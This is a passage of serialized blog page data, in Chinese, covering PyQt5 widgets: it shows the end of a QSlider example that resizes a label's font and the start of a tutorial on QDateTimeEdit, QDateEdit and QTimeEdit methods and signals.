\n",{"type":18,"tag":297,"props":46816,"children":46817},{"class":299,"line":4524},[46818],{"type":18,"tag":297,"props":46819,"children":46820},{},[46821],{"type":24,"value":42161},{"type":18,"tag":297,"props":46823,"children":46824},{"class":299,"line":4533},[46825],{"type":18,"tag":297,"props":46826,"children":46827},{},[46828],{"type":24,"value":42169},{"type":18,"tag":297,"props":46830,"children":46831},{"class":299,"line":4546},[46832],{"type":18,"tag":297,"props":46833,"children":46834},{},[46835],{"type":24,"value":46836},"        # 创建水平滑块  \n",{"type":18,"tag":297,"props":46838,"children":46839},{"class":299,"line":4555},[46840],{"type":18,"tag":297,"props":46841,"children":46842},{},[46843],{"type":24,"value":46844},"        self.horizontalSlider = QtWidgets.QSlider(self.centralwidget)  \n",{"type":18,"tag":297,"props":46846,"children":46847},{"class":299,"line":4568},[46848],{"type":18,"tag":297,"props":46849,"children":46850},{},[46851],{"type":24,"value":46852},"        self.horizontalSlider.setGeometry(QtCore.QRect(20, 10, 231, 22))  \n",{"type":18,"tag":297,"props":46854,"children":46855},{"class":299,"line":4577},[46856],{"type":18,"tag":297,"props":46857,"children":46858},{},[46859],{"type":24,"value":46860},"        self.horizontalSlider.setMinimum(8)         # 设置最小值为8  \n",{"type":18,"tag":297,"props":46862,"children":46863},{"class":299,"line":4590},[46864],{"type":18,"tag":297,"props":46865,"children":46866},{},[46867],{"type":24,"value":46868},"        self.horizontalSlider.setMaximum(72)         # 设置最大值为72  \n",{"type":18,"tag":297,"props":46870,"children":46871},{"class":299,"line":4599},[46872],{"type":18,"tag":297,"props":46873,"children":46874},{},[46875],{"type":24,"value":46876},"        self.horizontalSlider.setSingleStep(1)     # 设置通过鼠标拖动时的步长值  \n",{"type":18,"tag":297,"props":46878,"children":46879},{"class":299,"line":4607},[46880],{"type":18,"tag":297,"props":46881,"children":46882},{},[46883],{"type":24,"value":46884},"        self.horizontalSlider.setPageStep(1)         # 设置通过鼠标点击时的步长值  \n",{"type":18,"tag":297,"props":46886,"children":46887},{"class":299,"line":4616},[46888],{"type":18,"tag":297,"props":46889,"children":46890},{},[46891],{"type":24,"value":46892},"        self.horizontalSlider.setProperty(\"value\", 8)    # 设置默认值为8  \n",{"type":18,"tag":297,"props":46894,"children":46895},{"class":299,"line":4624},[46896],{"type":18,"tag":297,"props":46897,"children":46898},{},[46899],{"type":24,"value":46900},"        self.horizontalSlider.setOrientation(QtCore.Qt.Horizontal) # 设置滑块为水平滑块  \n",{"type":18,"tag":297,"props":46902,"children":46903},{"class":299,"line":4633},[46904],{"type":18,"tag":297,"props":46905,"children":46906},{},[46907],{"type":24,"value":46908},"        # 设置在滑块上方显示刻度  \n",{"type":18,"tag":297,"props":46910,"children":46911},{"class":299,"line":4641},[46912],{"type":18,"tag":297,"props":46913,"children":46914},{},[46915],{"type":24,"value":46916},"        self.horizontalSlider.setTickPosition(QtWidgets.QSlider.TicksAbove)  \n",{"type":18,"tag":297,"props":46918,"children":46919},{"class":299,"line":4650},[46920],{"type":18,"tag":297,"props":46921,"children":46922},{},[46923],{"type":24,"value":46924},"        self.horizontalSlider.setTickInterval(3)     # 设置刻度的间隔  \n",{"type":18,"tag":297,"props":46926,"children":46927},{"class":299,"line":4658},[46928],{"type":18,"tag":297,"props":46929,"children":46930},{},[46931],{"type":24,"value":46932},"        self.horizontalSlider.setObjectName(\"horizontalSlider\")  \n",{"type":18,"tag":297,"props":46934,"children":46935},{"class":299,"line":4681},[46936],{"type":18,"tag":297,"props":46937,"children":46938},{},[46939],{"type":24,"value":46940},"        # 创建垂直滑块  \n",{"type":18,"tag":297,"props":46942,"children":46943},{"class":299,"line":4703},[46944],{"type":18,"tag":297,"props":46945,"children":46946},{},[46947],{"type":24,"value":46948},"        self.verticalSlider = QtWidgets.QSlider(self.centralwidget)  \n",{"type":18,"tag":297,"props":46950,"children":46951},{"class":299,"line":4711},[46952],{"type":18,"tag":297,"props":46953,"children":46954},{},[46955],{"type":24,"value":46956},"        self.verticalSlider.setGeometry(QtCore.QRect(270, 20, 22, 171))  \n",{"type":18,"tag":297,"props":46958,"children":46959},{"class":299,"line":4720},[46960],{"type":18,"tag":297,"props":46961,"children":46962},{},[46963],{"type":24,"value":46964},"        self.verticalSlider.setMinimum(8)         # 设置最小值为8  \n",{"type":18,"tag":297,"props":46966,"children":46967},{"class":299,"line":4728},[46968],{"type":18,"tag":297,"props":46969,"children":46970},{},[46971],{"type":24,"value":46972},"        self.verticalSlider.setMaximum(72)         # 设置最大值为72  \n",{"type":18,"tag":297,"props":46974,"children":46975},{"class":299,"line":13515},[46976],{"type":18,"tag":297,"props":46977,"children":46978},{},[46979],{"type":24,"value":46980},"        self.verticalSlider.setOrientation(QtCore.Qt.Vertical)     # 设置滑块为垂直滑块  \n",{"type":18,"tag":297,"props":46982,"children":46983},{"class":299,"line":13553},[46984],{"type":18,"tag":297,"props":46985,"children":46986},{},[46987],{"type":24,"value":46988},"        self.verticalSlider.setInvertedAppearance(True)            # 设置刻度反方向显示  \n",{"type":18,"tag":297,"props":46990,"children":46991},{"class":299,"line":13591},[46992],{"type":18,"tag":297,"props":46993,"children":46994},{},[46995],{"type":24,"value":46996},"        # 设置在滑块右侧显示刻度  \n",{"type":18,"tag":297,"props":46998,"children":46999},{"class":299,"line":13624},[47000],{"type":18,"tag":297,"props":47001,"children":47002},{},[47003],{"type":24,"value":47004},"        self.verticalSlider.setTickPosition(QtWidgets.QSlider.TicksRight)  \n",{"type":18,"tag":297,"props":47006,"children":47007},{"class":299,"line":13632},[47008],{"type":18,"tag":297,"props":47009,"children":47010},{},[47011],{"type":24,"value":47012},"        self.verticalSlider.setTickInterval(3)                     # 设置刻度的间隔  \n",{"type":18,"tag":297,"props":47014,"children":47015},{"class":299,"line":13641},[47016],{"type":18,"tag":297,"props":47017,"children":47018},{},[47019],{"type":24,"value":47020},"        self.verticalSlider.setObjectName(\"verticalSlider\")  \n",{"type":18,"tag":297,"props":47022,"children":47023},{"class":299,"line":13724},[47024],{"type":18,"tag":297,"props":47025,"children":47026},{},[47027],{"type":24,"value":47028},"        # 创建一个水平布局管理器，主要用来放置显示文字的Label  \n",{"type":18,"tag":297,"props":47030,"children":47031},{"class":299,"line":13732},[47032],{"type":18,"tag":297,"props":47033,"children":47034},{},[47035],{"type":24,"value":47036},"        self.horizontalLayoutWidget = QtWidgets.QWidget(self.centralwidget)  \n",{"type":18,"tag":297,"props":47038,"children":47039},{"class":299,"line":13786},[47040],{"type":18,"tag":297,"props":47041,"children":47042},{},[47043],{"type":24,"value":47044},"        self.horizontalLayoutWidget.setGeometry(QtCore.QRect(20, 70, 251, 80))  \n",{"type":18,"tag":297,"props":47046,"children":47047},{"class":299,"line":13794},[47048],{"type":18,"tag":297,"props":47049,"children":47050},{},[47051],{"type":24,"value":47052},"        self.horizontalLayoutWidget.setObjectName(\"horizontalLayoutWidget\")  \n",{"type":18,"tag":297,"props":47054,"children":47055},{"class":299,"line":13803},[47056],{"type":18,"tag":297,"props":47057,"children":47058},{},[47059],{"type":24,"value":47060},"        self.horizontalLayout = QtWidgets.QHBoxLayout(self.horizontalLayoutWidget)  \n",{"type":18,"tag":297,"props":47062,"children":47063},{"class":299,"line":13845},[47064],{"type":18,"tag":297,"props":47065,"children":47066},{},[47067],{"type":24,"value":47068},"        self.horizontalLayout.setContentsMargins(0, 0, 0, 0)  \n",{"type":18,"tag":297,"props":47070,"children":47071},{"class":299,"line":13887},[47072],{"type":18,"tag":297,"props":47073,"children":47074},{},[47075],{"type":24,"value":47076},"        self.horizontalLayout.setObjectName(\"horizontalLayout\")  \n",{"type":18,"tag":297,"props":47078,"children":47079},{"class":299,"line":13927},[47080],{"type":18,"tag":297,"props":47081,"children":47082},{},[47083],{"type":24,"value":47084},"        # 创建Label控件，用来显示文字  \n",{"type":18,"tag":297,"props":47086,"children":47087},{"class":299,"line":13943},[47088],{"type":18,"tag":297,"props":47089,"children":47090},{},[47091],{"type":24,"value":47092},"        self.label = QtWidgets.QLabel(self.horizontalLayoutWidget)  \n",{"type":18,"tag":297,"props":47094,"children":47095},{"class":299,"line":15315},[47096],{"type":18,"tag":297,"props":47097,"children":47098},{},[47099],{"type":24,"value":47100},"        self.label.setAlignment(QtCore.Qt.AlignCenter) # 设置文字居中对齐  \n",{"type":18,"tag":297,"props":47102,"children":47103},{"class":299,"line":15331},[47104],{"type":18,"tag":297,"props":47105,"children":47106},{},[47107],{"type":24,"value":47108},"        self.label.setObjectName(\"label\")  \n",{"type":18,"tag":297,"props":47110,"children":47111},{"class":299,"line":15347},[47112],{"type":18,"tag":297,"props":47113,"children":47114},{},[47115],{"type":24,"value":47116},"        self.horizontalLayout.addWidget(self.label)       # 将Label添加到水平布局管理器中  \n",{"type":18,"tag":297,"props":47118,"children":47119},{"class":299,"line":42458},[47120],{"type":18,"tag":297,"props":47121,"children":47122},{},[47123],{"type":24,"value":42337},{"type":18,"tag":297,"props":47125,"children":47126},{"class":299,"line":42467},[47127],{"type":18,"tag":297,"props":47128,"children":47129},{},[47130],{"type":24,"value":42345},{"type":18,"tag":297,"props":47132,"children":47133},{"class":299,"line":42476},[47134],{"type":18,"tag":297,"props":47135,"children":47136},{},[47137],{"type":24,"value":42353},{"type":18,"tag":297,"props":47139,"children":47140},{"class":299,"line":42954},[47141],{"type":18,"tag":297,"props":47142,"children":47143},{},[47144],{"type":24,"value":47145},"        # 为水平滑块绑定valueChanged信号，在值发生更改时发射  \n",{"type":18,"tag":297,"props":47147,"children":47148},{"class":299,"line":42963},[47149],{"type":18,"tag":297,"props":47150,"children":47151},{},[47152],{"type":24,"value":47153},"        self.horizontalSlider.valueChanged.connect(self.setfontsize)  \n",{"type":18,"tag":297,"props":47155,"children":47156},{"class":299,"line":42972},[47157],{"type":18,"tag":297,"props":47158,"children":47159},{},[47160],{"type":24,"value":36783},{"type":18,"tag":297,"props":47162,"children":47163},{"class":299,"line":45120},[47164],{"type":18,"tag":297,"props":47165,"children":47166},{},[47167],{"type":24,"value":47168},"    # 定义槽函数，根据水平滑块的值改变垂直滑块的值和Label控件的字体大小  \n",{"type":18,"tag":297,"props":47170,"children":47171},{"class":299,"line":45129},[47172],{"type":18,"tag":297,"props":47173,"children":47174},{},[47175],{"type":24,"value":47176},"    def setfontsize(self):  \n",{"type":18,"tag":297,"props":47178,"children":47179},{"class":299,"line":45138},[47180],{"type":18,"tag":297,"props":47181,"children":47182},{},[47183],{"type":24,"value":47184},"        value = self.horizontalSlider.value()  \n",{"type":18,"tag":297,"props":47186,"children":47187},{"class":299,"line":45147},[47188],{"type":18,"tag":297,"props":47189,"children":47190},{},[47191],{"type":24,"value":47192},"        self.verticalSlider.setValue(value)  \n",{"type":18,"tag":297,"props":47194,"children":47195},{"class":299,"line":45155},[47196],{"type":18,"tag":297,"props":47197,"children":47198},{},[47199],{"type":24,"value":47200},"        self.label.setFont(QtGui.QFont(\"楷体\", value))  \n",{"type":18,"tag":297,"props":47202,"children":47203},{"class":299,"line":45164},[47204],{"type":18,"tag":297,"props":47205,"children":47206},{},[47207],{"type":24,"value":36783},{"type":18,"tag":297,"props":47209,"children":47210},{"class":299,"line":45173},[47211],{"type":18,"tag":297,"props":47212,"children":47213},{},[47214],{"type":24,"value":42384},{"type":18,"tag":297,"props":47216,"children":47217},{"class":299,"line":45182},[47218],{"type":18,"tag":297,"props":47219,"children":47220},{},[47221],{"type":24,"value":42392},{"type":18,"tag":297,"props":47223,"children":47224},{"class":299,"line":45191},[47225],{"type":18,"tag":297,"props":47226,"children":47227},{},[47228],{"type":24,"value":42400},{"type":18,"tag":297,"props":47230,"children":47231},{"class":299,"line":45200},[47232],{"type":18,"tag":297,"props":47233,"children":47234},{},[47235],{"type":24,"value":47236},"        self.label.setText(_translate(\"MainWindow\", \"敢想敢为，注重细节\"))  \n",{"type":18,"tag":297,"props":47238,"children":47239},{"class":299,"line":45209},[47240],{"type":18,"tag":297,"props":47241,"children":47242},{},[47243],{"type":24,"value":36783},{"type":18,"tag":297,"props":47245,"children":47246},{"class":299,"line":45218},[47247],{"type":18,"tag":297,"props":47248,"children":47249},{},[47250],{"type":24,"value":42415},{"type":18,"tag":297,"props":47252,"children":47253},{"class":299,"line":45227},[47254],{"type":18,"tag":297,"props":47255,"children":47256},{},[47257],{"type":24,"value":42423},{"type":18,"tag":297,"props":47259,"children":47260},{"class":299,"line":45236},[47261],{"type":18,"tag":297,"props":47262,"children":47263},{},[47264],{"type":24,"value":42431},{"type":18,"tag":297,"props":47266,"children":47267},{"class":299,"line":45245},[47268],{"type":18,"tag":297,"props":47269,"children":47270},{},[47271],{"type":24,"value":42439},{"type":18,"tag":297,"props":47273,"children":47274},{"class":299,"line":45254},[47275],{"type":18,"tag":297,"props":47276,"children":47277},{},[47278],{"type":24,"value":45450},{"type":18,"tag":297,"props":47280,"children":47281},{"class":299,"line":45263},[47282],{"type":18,"tag":297,"props":47283,"children":47284},{},[47285],{"type":24,"value":45459},{"type":18,"tag":297,"props":47287,"children":47288},{"class":299,"line":45272},[47289],{"type":18,"tag":297,"props":47290,"children":47291},{},[47292],{"type":24,"value":45468},{"type":18,"tag":297,"props":47294,"children":47295},{"class":299,"line":45281},[47296],{"type":18,"tag":297,"props":47297,"children":47298},{},[47299],{"type":24,"value":45477},{"type":18,"tag":297,"props":47301,"children":47302},{"class":299,"line":45290},[47303],{"type":18,"tag":297,"props":47304,"children":47305},{},[47306],{"type":24,"value":45486},{"type":18,"tag":96,"props":47308,"children":47309},{},[47310],{"type":18,"tag":34,"props":47311,"children":47312},{},[47313,47317,47319,47324,47326,47332,47334,47339,47341,47346],{"type":18,"tag":105,"props":47314,"children":47315},{},[47316],{"type":24,"value":33435},{"type":24,"value":47318}," 说明\n上面代码中用到了水平布局管理器",{"type":18,"tag":74,"props":47320,"children":47322},{"className":47321},[],[47323],{"type":24,"value":46713},{"type":24,"value":47325},"，它实质上是一个",{"type":18,"tag":74,"props":47327,"children":47329},{"className":47328},[],[47330],{"type":24,"value":47331},"QHBoxLayout",{"type":24,"value":47333},"类的对象，它在这里的主要作用是放置",{"type":18,"tag":74,"props":47335,"children":47337},{"className":47336},[],[47338],{"type":24,"value":45647},{"type":24,"value":47340},"控件，这样",{"type":18,"tag":74,"props":47342,"children":47344},{"className":47343},[],[47345],{"type":24,"value":45647},{"type":24,"value":47347},"控件就只可以在水平布局管理器中显示，避免字体设置过大时，超出窗口范围的问题。",{"type":18,"tag":34,"props":47349,"children":47350},{},[47351,47353,47358],{"type":24,"value":47352},"运行程序，默认效果如图所示，当用鼠标拖动水平滑块的刻度时，垂直滑块的刻度值会随之变化。另外，",{"type":18,"tag":74,"props":47354,"children":47356},{"className":47355},[],[47357],{"type":24,"value":45647},{"type":24,"value":47359},"标签中的文字大小也会发生改变，如图所示。",{"type":18,"tag":210,"props":47361,"children":47362},{},[47363],{"type":18,"tag":158,"props":47364,"children":47365},{},[47366],{"type":24,"value":47367},"默认效果",{"type":18,"tag":34,"props":47369,"children":47370},{},[47371],{"type":18,"tag":54,"props":47372,"children":47375},{"alt":47373,"src":47374},"Pasted image 20250901221002","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250901221002.png",[],{"type":18,"tag":210,"props":47377,"children":47378},{},[47379],{"type":18,"tag":158,"props":47380,"children":47381},{},[47382],{"type":24,"value":47383},"拖动水平滑块改变垂直滑块和字体大小",{"type":18,"tag":34,"props":47385,"children":47386},{},[47387],{"type":18,"tag":54,"props":47388,"children":47391},{"alt":47389,"src":47390},"Pasted image 20250901221125","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250901221125.png",[],{"type":18,"tag":651,"props":47393,"children":47394},{},[47395],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":47397},[47398,47400,47401],{"id":44187,"depth":657,"text":47399},"1  ProgressBar：进度条",{"id":45595,"depth":657,"text":45598},{"id":46313,"depth":657,"text":47402},"3  滑块：QSlider","content:blog:2025-09-01-pyqt5-进度条类控件.md","blog\u002F2025-09-01-pyqt5-进度条类控件.md","blog\u002F2025-09-01-pyqt5-进度条类控件",{"_path":47407,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":47408,"description":47409,"date":47410,"tags":47411,"body":47412,"_type":672,"_id":48951,"_source":674,"_file":48952,"_stem":48953,"_extension":677},"\u002Fblog\u002F2025-08-27-pyqt5","PyQt5-日期时间类控件","PyQt5日期时间类控件：CalendarWidget、DateTimeEdit、Timer等。","2025-08-27",[28616,41429,41430],{"type":15,"children":47413,"toc":48946},[47414,47448,47454,47457,47556,47565,47883,47922,47927,47992,48017,48025,48100,48105,48115,48127,48139,48142,48152,48169,48467,48485,48493,48547,48618,48646,48797,48809,48817,48822,48830,48942],{"type":18,"tag":34,"props":47415,"children":47416},{},[47417,47419,47425,47426,47432,47433,47439,47440,47446],{"type":24,"value":47418},"日期时间类控件主要是对日期、时间等信息进行编辑、选择或者显示，在PyQt5中提供了",{"type":18,"tag":74,"props":47420,"children":47422},{"className":47421},[],[47423],{"type":24,"value":47424},"Date\u002FTimeEdit",{"type":24,"value":1942},{"type":18,"tag":74,"props":47427,"children":47429},{"className":47428},[],[47430],{"type":24,"value":47431},"DateEdit",{"type":24,"value":1942},{"type":18,"tag":74,"props":47434,"children":47436},{"className":47435},[],[47437],{"type":24,"value":47438},"TimeEdit",{"type":24,"value":10315},{"type":18,"tag":74,"props":47441,"children":47443},{"className":47442},[],[47444],{"type":24,"value":47445},"CalendarWidget",{"type":24,"value":47447},"等4个相关的控件，本节将对它们的常用方法和使用方式进行讲解。",{"type":18,"tag":19,"props":47449,"children":47451},{"id":47450},"_1日期和时间控件",[47452],{"type":24,"value":47453},"1  日期和时间控件",{"type":18,"tag":121,"props":47455,"children":47456},{},[],{"type":18,"tag":34,"props":47458,"children":47459},{},[47460,47462,47467,47469,47474,47476,47481,47483,47488,47490,47496,47498,47503,47504,47509,47510,47516,47518,47523,47525,47530,47531,47536,47537,47543,47544,47549,47550,47555],{"type":24,"value":47461},"PyQt5中提供了3个日期时间控件，分别是",{"type":18,"tag":74,"props":47463,"children":47465},{"className":47464},[],[47466],{"type":24,"value":47424},{"type":24,"value":47468},"控件、",{"type":18,"tag":74,"props":47470,"children":47472},{"className":47471},[],[47473],{"type":24,"value":47431},{"type":24,"value":47475},"控件和",{"type":18,"tag":74,"props":47477,"children":47479},{"className":47478},[],[47480],{"type":24,"value":47438},{"type":24,"value":47482},"控件，其中，",{"type":18,"tag":74,"props":47484,"children":47486},{"className":47485},[],[47487],{"type":24,"value":47424},{"type":24,"value":47489},"控件对应的类是",{"type":18,"tag":74,"props":47491,"children":47493},{"className":47492},[],[47494],{"type":24,"value":47495},"QDateTimeEdit",{"type":24,"value":47497},"，该控件可以",{"type":18,"tag":105,"props":47499,"children":47500},{},[47501],{"type":24,"value":47502},"同时显示和编辑日期时间",{"type":24,"value":8574},{"type":18,"tag":74,"props":47505,"children":47507},{"className":47506},[],[47508],{"type":24,"value":47431},{"type":24,"value":47489},{"type":18,"tag":74,"props":47511,"children":47513},{"className":47512},[],[47514],{"type":24,"value":47515},"QDateEdit",{"type":24,"value":47517},"，它是",{"type":18,"tag":74,"props":47519,"children":47521},{"className":47520},[],[47522],{"type":24,"value":47495},{"type":24,"value":47524},"的子类，",{"type":18,"tag":105,"props":47526,"children":47527},{},[47528],{"type":24,"value":47529},"只能显示和编辑日期",{"type":24,"value":8574},{"type":18,"tag":74,"props":47532,"children":47534},{"className":47533},[],[47535],{"type":24,"value":47438},{"type":24,"value":47489},{"type":18,"tag":74,"props":47538,"children":47540},{"className":47539},[],[47541],{"type":24,"value":47542},"QTimeEdit",{"type":24,"value":47517},{"type":18,"tag":74,"props":47545,"children":47547},{"className":47546},[],[47548],{"type":24,"value":47495},{"type":24,"value":47524},{"type":18,"tag":105,"props":47551,"children":47552},{},[47553],{"type":24,"value":47554},"只能显示和编辑时间",{"type":24,"value":111},{"type":18,"tag":34,"props":47557,"children":47558},{},[47559,47564],{"type":18,"tag":74,"props":47560,"children":47562},{"className":47561},[],[47563],{"type":24,"value":47495},{"type":24,"value":41501},{"type":18,"tag":431,"props":47566,"children":47567},{},[47568,47588],{"type":18,"tag":435,"props":47569,"children":47570},{},[47571],{"type":18,"tag":439,"props":47572,"children":47573},{},[47574,47581],{"type":18,"tag":443,"props":47575,"children":47576},{},[47577],{"type":18,"tag":105,"props":47578,"children":47579},{},[47580],{"type":24,"value":41518},{"type":18,"tag":443,"props":47582,"children":47583},{},[47584],{"type":18,"tag":105,"props":47585,"children":47586},{},[47587],{"type":24,"value":41526},{"type":18,"tag":459,"props":47589,"children":47590},{},[47591,47604,47617,47630,47675,47688,47701,47714,47727,47844,47857,47870],{"type":18,"tag":439,"props":47592,"children":47593},{},[47594,47599],{"type":18,"tag":466,"props":47595,"children":47596},{},[47597],{"type":24,"value":47598},"setTime()",{"type":18,"tag":466,"props":47600,"children":47601},{},[47602],{"type":24,"value":47603},"设置时间，默认为0:00:00",{"type":18,"tag":439,"props":47605,"children":47606},{},[47607,47612],{"type":18,"tag":466,"props":47608,"children":47609},{},[47610],{"type":24,"value":47611},"setMaximumTime()",{"type":18,"tag":466,"props":47613,"children":47614},{},[47615],{"type":24,"value":47616},"设置最大时间，默认为23:59:59",{"type":18,"tag":439,"props":47618,"children":47619},{},[47620,47625],{"type":18,"tag":466,"props":47621,"children":47622},{},[47623],{"type":24,"value":47624},"setMinimumTime()",{"type":18,"tag":466,"props":47626,"children":47627},{},[47628],{"type":24,"value":47629},"设置最小时间，默认为0:00:00",{"type":18,"tag":439,"props":47631,"children":47632},{},[47633,47638],{"type":18,"tag":466,"props":47634,"children":47635},{},[47636],{"type":24,"value":47637},"setTimeSpec()",{"type":18,"tag":466,"props":47639,"children":47640},{},[47641,47643,47646,47649,47651,47654,47657,47659,47662,47665,47667,47670,47673],{"type":24,"value":47642},"获取显示的时间标准，支持以下4种取值：",{"type":18,"tag":6882,"props":47644,"children":47645},{},[],{"type":18,"tag":6882,"props":47647,"children":47648},{},[],{"type":24,"value":47650},"◆ LocalTime：本地时间",{"type":18,"tag":6882,"props":47652,"children":47653},{},[],{"type":18,"tag":6882,"props":47655,"children":47656},{},[],{"type":24,"value":47658},"◆ UTC：世界标准时间",{"type":18,"tag":6882,"props":47660,"children":47661},{},[],{"type":18,"tag":6882,"props":47663,"children":47664},{},[],{"type":24,"value":47666},"◆ OffsetFromUTC：与UTC等效的时间",{"type":18,"tag":6882,"props":47668,"children":47669},{},[],{"type":18,"tag":6882,"props":47671,"children":47672},{},[],{"type":24,"value":47674},"◆ TimeZone：时区",{"type":18,"tag":439,"props":47676,"children":47677},{},[47678,47683],{"type":18,"tag":466,"props":47679,"children":47680},{},[47681],{"type":24,"value":47682},"setDateTime()",{"type":18,"tag":466,"props":47684,"children":47685},{},[47686],{"type":24,"value":47687},"设置日期时间，默认为2000\u002F1\u002F1 0:00:00",{"type":18,"tag":439,"props":47689,"children":47690},{},[47691,47696],{"type":18,"tag":466,"props":47692,"children":47693},{},[47694],{"type":24,"value":47695},"setDate()",{"type":18,"tag":466,"props":47697,"children":47698},{},[47699],{"type":24,"value":47700},"设置日期，默认为2000\u002F1\u002F1",{"type":18,"tag":439,"props":47702,"children":47703},{},[47704,47709],{"type":18,"tag":466,"props":47705,"children":47706},{},[47707],{"type":24,"value":47708},"setMaximumDate()",{"type":18,"tag":466,"props":47710,"children":47711},{},[47712],{"type":24,"value":47713},"设置最大日期，默认为9999\u002F12\u002F31",{"type":18,"tag":439,"props":47715,"children":47716},{},[47717,47722],{"type":18,"tag":466,"props":47718,"children":47719},{},[47720],{"type":24,"value":47721},"setMinimumDate()",{"type":18,"tag":466,"props":47723,"children":47724},{},[47725],{"type":24,"value":47726},"设置最小日期，默认为1752\u002F9\u002F14",{"type":18,"tag":439,"props":47728,"children":47729},{},[47730,47735],{"type":18,"tag":466,"props":47731,"children":47732},{},[47733],{"type":24,"value":47734},"setDisplayFormat()",{"type":18,"tag":466,"props":47736,"children":47737},{},[47738,47740,47743,47746,47748,47751,47754,47756,47759,47762,47764,47767,47770,47772,47775,47778,47780,47783,47786,47788,47791,47794,47796,47799,47802,47804,47807,47810,47812,47815,47818,47820,47823,47826,47828,47831,47834,47836,47839,47842],{"type":24,"value":47739},"设置日期时间显示样式，常见形式如下：",{"type":18,"tag":6882,"props":47741,"children":47742},{},[],{"type":18,"tag":6882,"props":47744,"children":47745},{},[],{"type":24,"value":47747},"◆ 日期样式（yyyy表示4位数年份；MM表示2位数月份，dd表示2位数日）：",{"type":18,"tag":6882,"props":47749,"children":47750},{},[],{"type":18,"tag":6882,"props":47752,"children":47753},{},[],{"type":24,"value":47755},"■  yyyy\u002FMM\u002Fdd",{"type":18,"tag":6882,"props":47757,"children":47758},{},[],{"type":18,"tag":6882,"props":47760,"children":47761},{},[],{"type":24,"value":47763},"■  yyyy\u002FM\u002Fd",{"type":18,"tag":6882,"props":47765,"children":47766},{},[],{"type":18,"tag":6882,"props":47768,"children":47769},{},[],{"type":24,"value":47771},"■  yy\u002FMM\u002Fdd",{"type":18,"tag":6882,"props":47773,"children":47774},{},[],{"type":18,"tag":6882,"props":47776,"children":47777},{},[],{"type":24,"value":47779},"■  yy\u002FM\u002Fd",{"type":18,"tag":6882,"props":47781,"children":47782},{},[],{"type":18,"tag":6882,"props":47784,"children":47785},{},[],{"type":24,"value":47787},"■  yy\u002FMM",{"type":18,"tag":6882,"props":47789,"children":47790},{},[],{"type":18,"tag":6882,"props":47792,"children":47793},{},[],{"type":24,"value":47795},"■  Mm\u002Fdd",{"type":18,"tag":6882,"props":47797,"children":47798},{},[],{"type":18,"tag":6882,"props":47800,"children":47801},{},[],{"type":24,"value":47803},"◆ 时间样式（HH表示2位数小时；mm表示2位数分钟，ss表示2位数秒钟）：",{"type":18,"tag":6882,"props":47805,"children":47806},{},[],{"type":18,"tag":6882,"props":47808,"children":47809},{},[],{"type":24,"value":47811},"■  HH:mm:ss",{"type":18,"tag":6882,"props":47813,"children":47814},{},[],{"type":18,"tag":6882,"props":47816,"children":47817},{},[],{"type":24,"value":47819},"■  HH:mm",{"type":18,"tag":6882,"props":47821,"children":47822},{},[],{"type":18,"tag":6882,"props":47824,"children":47825},{},[],{"type":24,"value":47827},"■  mm:ss",{"type":18,"tag":6882,"props":47829,"children":47830},{},[],{"type":18,"tag":6882,"props":47832,"children":47833},{},[],{"type":24,"value":47835},"■  H:m",{"type":18,"tag":6882,"props":47837,"children":47838},{},[],{"type":18,"tag":6882,"props":47840,"children":47841},{},[],{"type":24,"value":47843},"■  m:s",{"type":18,"tag":439,"props":47845,"children":47846},{},[47847,47852],{"type":18,"tag":466,"props":47848,"children":47849},{},[47850],{"type":24,"value":47851},"date()",{"type":18,"tag":466,"props":47853,"children":47854},{},[47855],{"type":24,"value":47856},"获取显示的日期，返回值为QDate类型，例如QDate(2000,1,1)",{"type":18,"tag":439,"props":47858,"children":47859},{},[47860,47865],{"type":18,"tag":466,"props":47861,"children":47862},{},[47863],{"type":24,"value":47864},"time()",{"type":18,"tag":466,"props":47866,"children":47867},{},[47868],{"type":24,"value":47869},"获取显示的时间，返回值为QTime类型，例如QTime(0,0)",{"type":18,"tag":439,"props":47871,"children":47872},{},[47873,47878],{"type":18,"tag":466,"props":47874,"children":47875},{},[47876],{"type":24,"value":47877},"dateTime()",{"type":18,"tag":466,"props":47879,"children":47880},{},[47881],{"type":24,"value":47882},"获取显示的日期时间，返回值为QDateTime类型，例如QDateTime(2000, 1, 1, 0, 0)",{"type":18,"tag":96,"props":47884,"children":47885},{},[47886],{"type":18,"tag":34,"props":47887,"children":47888},{},[47889,47893,47895,47900,47901,47906,47908,47913,47915,47920],{"type":18,"tag":105,"props":47890,"children":47891},{},[47892],{"type":24,"value":33435},{"type":24,"value":47894}," 说明\n由于",{"type":18,"tag":74,"props":47896,"children":47898},{"className":47897},[],[47899],{"type":24,"value":47515},{"type":24,"value":10315},{"type":18,"tag":74,"props":47902,"children":47904},{"className":47903},[],[47905],{"type":24,"value":47542},{"type":24,"value":47907},"类都是从",{"type":18,"tag":74,"props":47909,"children":47911},{"className":47910},[],[47912],{"type":24,"value":47495},{"type":24,"value":47914},"类继承而来的，因此它们都拥有",{"type":18,"tag":74,"props":47916,"children":47918},{"className":47917},[],[47919],{"type":24,"value":47495},{"type":24,"value":47921},"类的所有公共方法。",{"type":18,"tag":34,"props":47923,"children":47924},{},[47925],{"type":24,"value":47926},"QDateTimeEdit类的常用信号及说明如表所示。",{"type":18,"tag":431,"props":47928,"children":47929},{},[47930,47950],{"type":18,"tag":435,"props":47931,"children":47932},{},[47933],{"type":18,"tag":439,"props":47934,"children":47935},{},[47936,47943],{"type":18,"tag":443,"props":47937,"children":47938},{},[47939],{"type":18,"tag":105,"props":47940,"children":47941},{},[47942],{"type":24,"value":46600},{"type":18,"tag":443,"props":47944,"children":47945},{},[47946],{"type":18,"tag":105,"props":47947,"children":47948},{},[47949],{"type":24,"value":41526},{"type":18,"tag":459,"props":47951,"children":47952},{},[47953,47966,47979],{"type":18,"tag":439,"props":47954,"children":47955},{},[47956,47961],{"type":18,"tag":466,"props":47957,"children":47958},{},[47959],{"type":24,"value":47960},"timeChanged",{"type":18,"tag":466,"props":47962,"children":47963},{},[47964],{"type":24,"value":47965},"时间发生改变时发射",{"type":18,"tag":439,"props":47967,"children":47968},{},[47969,47974],{"type":18,"tag":466,"props":47970,"children":47971},{},[47972],{"type":24,"value":47973},"dateChanged",{"type":18,"tag":466,"props":47975,"children":47976},{},[47977],{"type":24,"value":47978},"日期发生改变时发射",{"type":18,"tag":439,"props":47980,"children":47981},{},[47982,47987],{"type":18,"tag":466,"props":47983,"children":47984},{},[47